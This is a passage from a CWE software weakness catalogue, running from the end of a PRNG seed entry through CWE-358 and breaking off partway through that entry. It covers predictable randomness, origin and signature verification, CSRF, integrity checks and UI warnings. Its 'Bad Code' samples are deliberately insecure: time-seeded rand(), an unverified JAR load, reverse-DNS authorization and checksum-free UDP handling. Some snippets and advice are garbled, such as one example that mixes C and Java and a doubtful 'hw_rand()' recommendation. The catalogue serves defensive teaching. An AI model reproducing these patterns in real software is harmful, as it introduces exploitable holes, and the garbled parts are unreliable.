Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	335	PRNG Seed Error	**699** **1000**	361

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable Seed in PRNG

CWE-338: Use of Cryptographically Weak PRNG

Weakness ID: 338 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG is not cryptographically strong.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Authentication

Potentially a weak source of random numbers could weaken the encryption method used for authentication of users. In this case, a password could potentially be discovered.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
srand(time()) int randNum = rand();
```

Java Example: *Bad Code*

```
Random r = new Random()
```

For a given seed, these "random number" generators will produce a reliable stream of numbers. Therefore, if an attacker knows the seed or can guess it easily, he will be able to reliably guess your random numbers.

Potential Mitigations

Design through Implementation: Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CyptGenRandom on Windows, or hw_rand() on Linux.

Other Notes

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms which use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	330	Use of Insufficiently Random Values	**699 1000**	355

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Non-cryptographic PRNG

CWE-339: Small Seed Space in PRNG

Weakness ID: 339 *(Weakness Base)* **Status:** Draft

Description

Summary

A PRNG uses a relatively small space of seeds.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0872	

Potential Mitigations

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	335	PRNG Seed Error	**699** **1000**	361
PeerOf	Weakness Base	341	Predictable from Observable State	1000	364

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Small Seed Space in PRNG

Maintenance Notes

This entry overlaps predictable from observable state (CWE-341).

CWE-340: Predictability Problems

Weakness ID: 340 *(Weakness Class)* **Status:** Incomplete

Description

Summary

Weaknesses in this category are related to schemes that generate numbers or identifiers that are more predictable than required by the application.

Time of Introduction

- Architecture and Design
- Implementation

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Class	330	Use of Insufficiently Random Values	**699** **1000**	355
RequiredBy		*61*	*UNIX Symbolic Link (Symlink) Following*	*1000*	*56*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictability problems

CWE-341: Predictable from Observable State

Weakness ID: 341 *(Weakness Base)* **Status:** Draft

Description

Summary

A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2000-0335	DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.
CVE-2001-1141	
CVE-2002-0389	
CVE-2005-1636	MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.

Potential Mitigations

Increase the entropy used to seed a PRNG.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Weakness Base	330	Use of Insufficiently Random Values	**699 1000**	355
PeerOf	*Weakness Base*	*339*	*Small Seed Space in PRNG*	*1000*	*363*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable from Observable State

CWE-342: Predictable Exact Value from Previous Values

Weakness ID: 342 *(Weakness Base)* **Status:** Draft

Description

Summary

An exact value or random number can be precisely predicted by observing previous values.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-0074	Listening TCP ports are sequentially allocated, allowing spoofing attacks.
CVE-1999-0077	Predictable TCP sequence numbers allow spoofing.
CVE-2000-0335	DNS resolver uses predictable IDs, allowing a local user to spoof DNS query results.
CVE-2002-1463	

Potential Mitigations

Increase the entropy used to seed a PRNG.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	330	Use of Insufficiently Random Values	**699 1000**	355

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable Exact Value from Previous Values

CWE-343: Predictable Value Range from Previous Values

Weakness ID: 343 *(Weakness Base)* **Status:** Draft

Description

Summary

The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

Extended Description

The output of a random number generator should not be predictable based on observations of previous values. In some cases, an attacker cannot predict the exact value that will be produced next, but can narrow down the possibilities significantly. This reduces the amount of effort to perform a brute force attack. For example, suppose the product generates random numbers between 1 and 100, but it always produces a larger value until it reaches 100. If the generator produces an 80, then the attacker knows that the next value will be somewhere between 81 and 100. Instead of 100 possibilities, the attacker only needs to consider 20.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Potential Mitigations

Increase the entropy used to seed a PRNG.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Implementation

Consider a PRNG which re-seeds itself, as needed from a high quality pseudo-random output, like hardware devices.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	330	Use of Insufficiently Random Values	**699 1000**	355

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Predictable Value Range from Previous Values

References

Michal Zalewski. "Strange Attractors and TCP/IP Sequence Number Analysis". 2001. < http://www.bindview.com/Services/Razor/Papers/2001/tcpseq.cfm >.

CWE-344: Use of Invariant Value in Dynamically Changing Context

Weakness ID: 344 *(Weakness Base)* **Status:** Draft

Description

Summary

The product uses a constant value, name, or reference, but this value can (or should) vary across different environments.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0980	Component for web browser writes an error message to a known location, which can then be referenced by attackers to process HTML/script in a less restrictive context

Potential Mitigations

Increase the entropy used to seed a PRNG.

Implementation

Perform FIPS 140-2 tests on data to catch obvious entropy problems.

Other Notes

This is often a factor in attacks on web browsers, in which known or predictable filenames become necessary to exploit browser vulnerabilities.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	W	330	Use of Insufficiently Random Values	**699 1000**	355
ParentOf	W	*259*	*Hard-Coded Password*	***1000***	*283*
ParentOf	W	*321*	*Use of Hard-coded Cryptographic Key*	***1000***	*344*
ParentOf	W	*323*	*Reusing a Nonce, Key Pair in Encryption*	***1000***	*347*
ParentOf	W	*587*	*Assignment of a Fixed Address to a Pointer*	***1000***	*578*

Relationship Notes

overlaps default configuration.

Relevant Properties

- Mutability
- Uniqueness

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Static Value in Unpredictable Context

CWE-345: Insufficient Verification of Data Authenticity

Weakness ID: 345 *(Weakness Class)* **Status:** Draft

Description

Summary

The software does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf		254	Security Features	**699**	279
ChildOf	Wc	693	Protection Mechanism Failure	**1000**	684
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	**711**	717
ParentOf	Wv	*247*	*Reliance on DNS Lookups in a Security Decision*	***1000***	*268*
CanAlsoBe	We	*283*	*Unverified Ownership*	*1000*	*308*
ParentOf	We	*297*	*Improper Validation of Host-specific Certificate Data*	***1000***	*323*
ParentOf	We	*322*	*Key Exchange without Entity Authentication*	*1000*	*346*
ParentOf	We	*346*	*Origin Validation Error*	***699 1000***	*368*
ParentOf	We	*347*	*Improper Verification of Cryptographic Signature*	***699 1000***	*369*
ParentOf	We	*348*	*Use of Less Trusted Source*	***699 1000***	*370*
ParentOf	We	*349*	*Acceptance of Extraneous Untrusted Data With Trusted Data*	***699 1000***	*371*
ParentOf	We	*350*	*Improperly Trusted Reverse DNS*	***699 1000***	*371*
ParentOf	We	*351*	*Insufficient Type Distinction*	***699 1000***	*372*
ParentOf		*352*	*Cross-Site Request Forgery (CSRF)*	***699 1000***	*373*
ParentOf	We	*353*	*Failure to Add Integrity Check Value*	***699 1000***	*375*
ParentOf	We	*354*	*Improper Validation of Integrity Check Value*	***699 1000***	*376*
CanAlsoBe	We	*358*	*Improperly Implemented Security Check for Standard*	*1000*	*379*
ParentOf	We	*360*	*Trust of System Event Data*	***699 1000***	*381*
ParentOf	Wv	*616*	*Incomplete Identification of Uploaded File Variables (PHP)*	***1000***	*601*
ParentOf	Wv	*646*	*Reliance on File Name or Extension of Externally-Supplied File*	***699 1000***	*632*
ParentOf	We	*649*	*Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking*	***699 1000***	*635*
CanAlsoBe	We	*708*	*Incorrect Ownership Assignment*	*1000*	*710*

Relationship Notes

"origin validation" could fall under this.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Insufficient Verification of Data
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
4	Using Alternative IP Address Encodings	

Maintenance Notes

The specific ways in which the origin is not properly identified should be laid out as separate weaknesses. In some sense, this is more like a category.

CWE-346: Origin Validation Error

Weakness ID: 346 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly verify that the source of data or communication is valid.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-1549	product does not sufficiently distinguish external HTML from internal, potentially dangerous HTML, allowing bypass using special strings in the page title. Overlaps special elements.
CVE-2000-1218	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2001-1452	DNS server caches glue records received from non-delegated name servers
CVE-2003-0174	LDAP service does not verify if a particular attribute was set by the LDAP server
CVE-2003-0981	product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
CVE-2005-0877	DNS server can accept DNS updates from hosts that it did not query, leading to cache poisoning
CVE-2005-2188	user ID obtained from untrusted source (URL)

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	WC	345	Insufficient Verification of Data Authenticity	**699 1000**	367
RequiredBy		*352*	*Cross-Site Request Forgery (CSRF)*	*1000*	*373*
RequiredBy		*384*	*Session Fixation*	*1000*	*408*
PeerOf	WB	*451*	*UI Misrepresentation of Critical Information*	*1000*	*473*

Relationship Notes

This is a factor in many weaknesses, both primary and resultant. The problem could be due to design or implementation. This is a fairly general class.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Origin Validation Error

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
21	Exploitation of Session Variables, Resource IDs and other Trusted Credentials
59	Session Credential Falsification through Prediction
60	Reusing Session IDs (aka Session Replay)
75	Manipulating Writeable Configuration Files
76	Manipulating Input to File System Calls
89	Pharming

CWE-347: Improperly Verified Signature

Weakness ID: 347 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not verify, or improperly verifies, the cryptographic signature for data.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Demonstrative Examples

In the following Java snippet, a JarFile object (representing a JAR file that was potentially downloaded from an untrusted source) is created without verifying the signature (if present). An alternate constructor that accepts a boolean verify parameter should be used instead.

Java Example: *Bad Code*

```
File f = new File(downloadedFilePath);
JarFile jf = new JarFile(f);
```

Observed Examples

Reference	Description
CVE-2002-1706	Accepts a configuration file without a Message Integrity Check (MIC) signature.
CVE-2002-1796	Does not properly verify signatures for "trusted" entities.
CVE-2005-2181	Insufficient verification allows spoofing.
CVE-2005-2182	Insufficient verification allows spoofing.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	345	Insufficient Verification of Data Authenticity	**699** **1000**	367

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improperly Verified Signature

CWE-348: Use of Less Trusted Source

Weakness ID: 348 *(Weakness Base)* **Status:** Draft

Description

Summary

The software has two different sources of the same data or information, but it uses the source that has less support for verification, is less trusted, or is less resistant to attack.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
BID:15326	Similar to CVE-2004-1950
CVE-2001-0860	Product uses IP address provided by a client, instead of obtaining it from the packet headers, allowing easier spoofing.
CVE-2001-0908	Product logs IP address specified by the client instead of obtaining it from the packet headers, allowing information hiding.
CVE-2004-1950	Web product uses the IP address in the X-Forwarded-For HTTP header instead of a server variable that uses the connecting IP address, allowing filter bypass.
CVE-2006-1126	PHP application uses IP address from X-Forwarded-For HTTP header, instead of REMOTE_ADDR.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	345	Insufficient Verification of Data Authenticity	**699** **1000**	367
RequiredBy		*291*	*Trusting Self-reported IP Address*	*1000*	*316*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Use of Less Trusted Source

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
18	Embedding Scripts in Nonscript Elements	
63	Simple Script Injection	
73	User-Controlled Filename	
76	Manipulating Input to File System Calls	
85	Client Network Footprinting (using AJAX/XSS)	
86	Embedding Script (XSS) in HTTP Headers	

CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data

Weakness ID: 349 *(Weakness Base)* **Status:** Draft

Description

Summary

The software, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2002-0018	Does not verify that trusted entity is authoritative for all entities in its response.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	**699** **1000**	367

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Untrusted Data Appended with Trusted Data

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 1.2)
75	Manipulating Writeable Configuration Files	

CWE-350: Improperly Trusted Reverse DNS

Weakness ID: 350 *(Weakness Base)* **Status:** Draft

Description

Summary

The software trusts the hostname that is provided when performing a reverse DNS resolution on an IP address, without also performing forward resolution.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- All

Demonstrative Examples

In the example below, an authorization decision is made on the result of a reverse DNS lookup.

Java Example: *Bad Code*

```
InetAddress clientAddr = getClientInetAddr();
if (clientAddr != null && clientAddr.getHostName().equals("authorizedhost.authorizeddomain.com") {
  authorized = true;
```

```
}
```

Observed Examples

Reference	Description
CVE-2000-1221	Authentication bypass using spoofed reverse-resolved DNS hostnames.
CVE-2001-1155	Filter does not properly check the result of a reverse DNS lookup, which could allow remote attackers to bypass intended access restrictions via DNS spoofing.
CVE-2001-1488	Does not do double-reverse lookup to prevent DNS spoofing.
CVE-2001-1500	Does not verify reverse-resolved hostnames in DNS.
CVE-2002-0804	Authentication bypass using spoofed reverse-resolved DNS hostnames.
CVE-2003-0981	Product records the reverse DNS name of a visitor in the logs, allowing spoofing and resultant XSS.
CVE-2004-0892	Reverse DNS lookup used to spoof trusted content in intermediary.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	345	Insufficient Verification of Data Authenticity	**699 1000**	367

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Improperly Trusted Reverse DNS

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
18	Embedding Scripts in Nonscript Elements	
63	Simple Script Injection	
73	User-Controlled Filename	

CWE-351: Insufficient Type Distinction

Weakness ID: 351 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly distinguish between different types of elements in a way that leads to insecure behavior.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2005-2260	Browser user interface does not distinguish between user-initiated and synthetic events.
CVE-2005-2801	Product does not compare all required data in two separate elements, causing it to think they are the same, leading to loss of ACLs. Similar to Same Name error.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	345	Insufficient Verification of Data Authenticity	**699 1000**	367
PeerOf	We	436	Interpretation Conflict	1000	463
RequiredBy		*434*	*Unrestricted File Upload*	*1000*	*461*

Relationship Notes

Overlaps others, e.g. Multiple Interpretation Errors.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient Type Distinction

CWE-352: Cross-Site Request Forgery (CSRF)

Compound Element ID: 352 *(Compound Element Variant: Composite)* **Status:** Draft

Description

Summary

The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request.

Extended Description

When a web server is designed to receive a request from a client without any mechanism for verifying that it was intentionally sent, then it might be possible for an attacker to trick a client into making an unintentional request to the web server which will be treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest, etc. and can result in data disclosure or unintended code execution.

Alternate Terms

Session Riding

Cross Site Reference Forgery

XSRF

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Technology Classes

- Web-Server

Likelihood of Exploit

High

Observed Examples

Reference	Description
CVE-2004-1703	Add user accounts via a URL in an img tag
CVE-2004-1842	Gain administrative privileges via a URL in an img tag
CVE-2004-1967	Arbitrary code execution by specifying the code in a crafted img tag or URL
CVE-2004-1995	Add user accounts via a URL in an img tag
CVE-2005-1674	Perform actions as administrator via a URL or an img tag
CVE-2005-1947	Delete a victim's information via a URL or an img tag
CVE-2005-2059	Change another users settings via a URL or an img tag

Potential Mitigations

Architecture and Design

Use anti-CSRF packages such as the OWASP CSRFGuard.

Implementation

Ensure that your application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330).

Note that this can be bypassed using XSS (CWE-79).

Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Note that this can be bypassed using XSS (CWE-79).

Architecture and Design

Use the "double-submitted cookie" method as described by Felten and Zeller.

Note that this can probably be bypassed using XSS (CWE-79).

Architecture and Design

Use the ESAPI Session Management control.

This control includes a component for CSRF.

Architecture and Design

Do not use the GET method for any request that triggers a state change.

Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

Note that this can be bypassed using XSS (CWE-79). An attacker could use XSS to generate a spoofed Referer, or to generate a malicious request from a page whose Referer would be allowed.

Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Use OWASP CSRFTester to identify potential issues.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wc	345	Insufficient Verification of Data Authenticity	**699 1000**	367
Requires	Wa	346	Origin Validation Error	1000	368
Requires	Wa	441	Unintended Proxy/Intermediary	1000	467
Requires	Wa	613	Insufficient Session Expiration	1000	599
Requires	Wc	642	External Control of Critical State Data	1000	625
ChildOf	C	716	OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)	**629**	714
ChildOf	C	751	Insecure Interaction Between Components	**750**	733
PeerOf	Wa	*79*	*Failure to Preserve Web Page Structure ('Cross-site Scripting')*	*1000*	*83*
MemberOf	V	*635*	*Weaknesses Used by NVD*	***635***	*616*

Relationship Notes

This can be resultant from XSS, although XSS is not necessarily required.

Research Gaps

This issue was under-reported in CVE until around 2008, when it began to gain prominence. It is likely to be present in most web applications.

Theoretical Notes

The CSRF topology is multi-channel:

1. Attacker (as outsider) to intermediary (as user). The interaction point is either an external or internal channel.

2. Intermediary (as user) to server (as victim). The activation point is an internal channel.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Cross-Site Request Forgery (CSRF)
OWASP Top Ten 2007	A5	Exact	Cross Site Request Forgery (CSRF)

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
62	Cross Site Request Forgery (aka Session Riding)	

References

Peter W. "Cross-Site Request Forgeries (Re: The Dangers of Allowing Users to Post Images)". Bugtraq. < http://marc.info/?l=bugtraq&m=99263135911884&w=2 >.
Edward W. Felten and William Zeller. "Cross-Site Request Forgeries: Exploitation and Prevention". 2008-10-18. < http://freedom-to-tinker.com/sites/default/files/csrf.pdf >.
Robert Auger. "CSRF - The Cross-Site Request Forgery (CSRF/XSRF) FAQ". < http://www.cgisecurity.com/articles/csrf-faq.shtml >.
"Cross-site request forgery". Wikipedia. 2008-12-22. < http://en.wikipedia.org/wiki/Cross-site_request_forgery >.

CWE-353: Failure to Add Integrity Check Value

Weakness ID: 353 *(Weakness Base)* **Status:** Draft

Description

Summary

If integrity check values or "checksums" are omitted from a protocol, there is no way of determining if data has been corrupted in transmission.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Integrity

Data that is parsed and used may be corrupted.

Non-Repudiation

Without a checksum it is impossible to determine if any changes have been made to the data after it was sent.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example:

```
int r,s;struct hostent *h;
struct sockaddr_in rserv,lserv;
h=gethostbyname("127.0.0.1");
rserv.sin_family=h->h_addrtype;
memcpy((char *) &rserv.sin_addr.s_addr, h->h_addr_list[0], h->h_length);
rserv.sin_port= htons(1008);
s = socket(AF_INET,SOCK_DGRAM,0);
lserv.sin_family = AF_INET;
lserv.sin_addr.s_addr = htonl(INADDR_ANY);
lserv.sin_port = htons(0);
r = bind(s, (struct sockaddr *) &lserv,sizeof(lserv));
sendto(s,important_data,strlen(important_data)+1,0, (struct sockaddr *) &rserv, sizeof(rserv));
while(true) {
  DatagramPacket rp=new DatagramPacket(rData,rData.length);
  outSock.receive(rp);
  String in = new String(p.getData(),0, rp.getLength());
  InetAddress IPAddress = rp.getAddress();
  int port = rp.getPort();
  out = secret.getBytes();
  DatagramPacket sp =new DatagramPacket(out,out.length,
  IPAddress, port);
  outSock.send(sp);
}
```

Potential Mitigations

Architecture and Design

Add an appropriately sized checksum to the protocol, ensuring that data received may be simply validated before it is parsed and used.

Implementation

Ensure that the checksums present in the protocol design are properly implemented and added to each message before it is sent.

Other Notes

The failure to include checksum functionality in a protocol removes the first application-level check of data that can be used. The end-to-end philosophy of checks states that integrity checks should be performed at the lowest level that they can be completely implemented. Excluding further sanity checks and input validation performed by applications, the protocol's checksum is the most important level of checksum, since it can be performed more completely than at any previous level and takes into account entire messages, as opposed to single packets. Failure to add this functionality to a protocol specification, or in the implementation of that protocol, needlessly ignores a simple solution for a very significant problem and should never be skipped.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	345	Insufficient Verification of Data Authenticity	**699 1000**	367
PeerOf	We	354	Improper Validation of Integrity Check Value	1000	376

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to add integrity check value

Related Attack Patterns

CAPEC-ID	Attack Pattern Name *(CAPEC Version 1.2)*
13	Subverting Environment Variable Values
14	Client-side Injection-induced Buffer Overflow
39	Manipulating Opaque Client-based Data Tokens
74	Manipulating User State
75	Manipulating Writeable Configuration Files

CWE-354: Improper Validation of Integrity Check Value

Weakness ID: 354 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Common Consequences

Authentication

Integrity checks usually use a secret key that helps authenticate the data origin. Skipping integrity checking generally opens up the possibility that new data from an invalid source can be injected.

Integrity

Data that is parsed and used may be corrupted.

Non-Repudiation

Without a checksum check, it is impossible to determine if any changes have been made to the data after it was sent.

Likelihood of Exploit

Medium

Demonstrative Examples

C/C++ Example: *Bad Code*

```
sd = socket(AF_INET, SOCK_DGRAM, 0); serv.sin_family = AF_INET;
serv.sin_addr.s_addr = htonl(INADDR_ANY);
servr.sin_port = htons(1008);
bind(sd, (struct sockaddr *) & serv, sizeof(serv));
while (1) {
  memset(msg, 0x0, MAX_MSG);
  clilen = sizeof(cli);
  if (inet_ntoa(cli.sin_addr)==...) n = recvfrom(sd, msg, MAX_MSG, 0, (struct sockaddr *) & cli, &clilen);
}
```

Java Example: *Bad Code*

```
while(true) {
  DatagramPacket packet = new DatagramPacket(data,data.length,IPAddress, port);
  socket.send(sendPacket);
}
```

Potential Mitigations

Implementation

Ensure that the checksums present in messages are properly checked in accordance with the protocol specification before they are parsed and used.

Other Notes

The failure to validate checksums before use results in an unnecessary risk that can easily be mitigated with very few lines of code. Since the protocol specification describes the algorithm used for calculating the checksum, it is a simple matter of implementing the calculation and verifying that the calculated checksum and the received checksum match. If this small amount of effort is skipped, the consequences may be far greater.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	We	345	Insufficient Verification of Data Authenticity	**699 1000**	367
PeerOf	We	353	Failure to Add Integrity Check Value	1000	375
ChildOf	We	754	Improper Check for Exceptional Conditions	1000	734

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
CLASP	Failure to check integrity check value

Related Attack Patterns

CAPEC-ID	Attack Pattern Name	*(CAPEC Version 1.2)*
75	Manipulating Writeable Configuration Files	

CWE-355: User Interface Security Issues

Category ID: 355 *(Category)* **Status:** Draft

Description

Summary

Weaknesses in this category are related to or introduced in the User Interface (UI).

Applicable Platforms

Languages

- All

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	254	Security Features	**699**	279
ParentOf	Wa	*356*	*Product UI does not Warn User of Unsafe Actions*	***699***	*378*
ParentOf	Wa	*357*	*Insufficient UI Warning of Dangerous Operations*	***699***	*379*
ParentOf	Wv	*549*	*Missing Password Field Masking*	*699*	*553*

Research Gaps

User interface errors that are relevant to security have not been studied at a high level.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	(UI) User Interface Errors

CWE-356: Product UI does not Warn User of Unsafe Actions

Weakness ID: 356 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system.

Extended Description

Software systems should warn users that a potentially dangerous action may occur if the user proceeds. For example, if the user downloads a file from an unknown source and attempts to execute the file on their machine, then the application's GUI can indicate that the file is unsafe.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-1999-0794	Product does not warn user when document contains certain dangerous functions or macros.
CVE-1999-1055	Product does not warn user when document contains certain dangerous functions or macros.
CVE-2000-0277	Product does not warn user when document contains certain dangerous functions or macros.
CVE-2000-0342	E-mail client allows bypass of warning for dangerous attachments via a Windows .LNK file that refers to the attachment.
CVE-2000-0517	Product does not warn user about a certificate if it has already been accepted for a different site. Possibly resultant.
CVE-2005-0602	File extractor does not warn user it setuid/setgid files could be extracted. Overlaps privileges/permissions.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	Wa	221	Information Loss or Omission	**1000**	250
ChildOf	C	355	User Interface Security Issues	**699**	377

Relationship Notes

Often resultant, e.g. in unhandled error conditions.

Can overlap privilege errors, conceptually at least.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Product UI does not warn user of unsafe actions

CWE-357: Insufficient UI Warning of Dangerous Operations

Weakness ID: 357 *(Weakness Base)* **Status:** Draft

Description

Summary

A user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
CVE-2007-1099	User not sufficiently warned if host key mismatch occurs

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	355	User Interface Security Issues	**699**	377
ChildOf	WC	693	Protection Mechanism Failure	**1000**	684
ParentOf	WB	*450*	*Multiple Interpretations of UI Input*	***1000***	*472*

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Insufficient UI warning of dangerous operations

CWE-358: Improperly Implemented Security Check for Standard

Weakness ID: 358 *(Weakness Base)* **Status:** Draft

Description

Summary

The software does not properly implement one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- All

Observed Examples

Reference	Description
AN-2005-2298	Security check not applied to all components, allowing bypass.
CVE-2002-0862	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
CVE-2002-0970	Browser does not verify Basic Constraints of a certificate, even though it is required, allowing spoofing of trusted certificates.
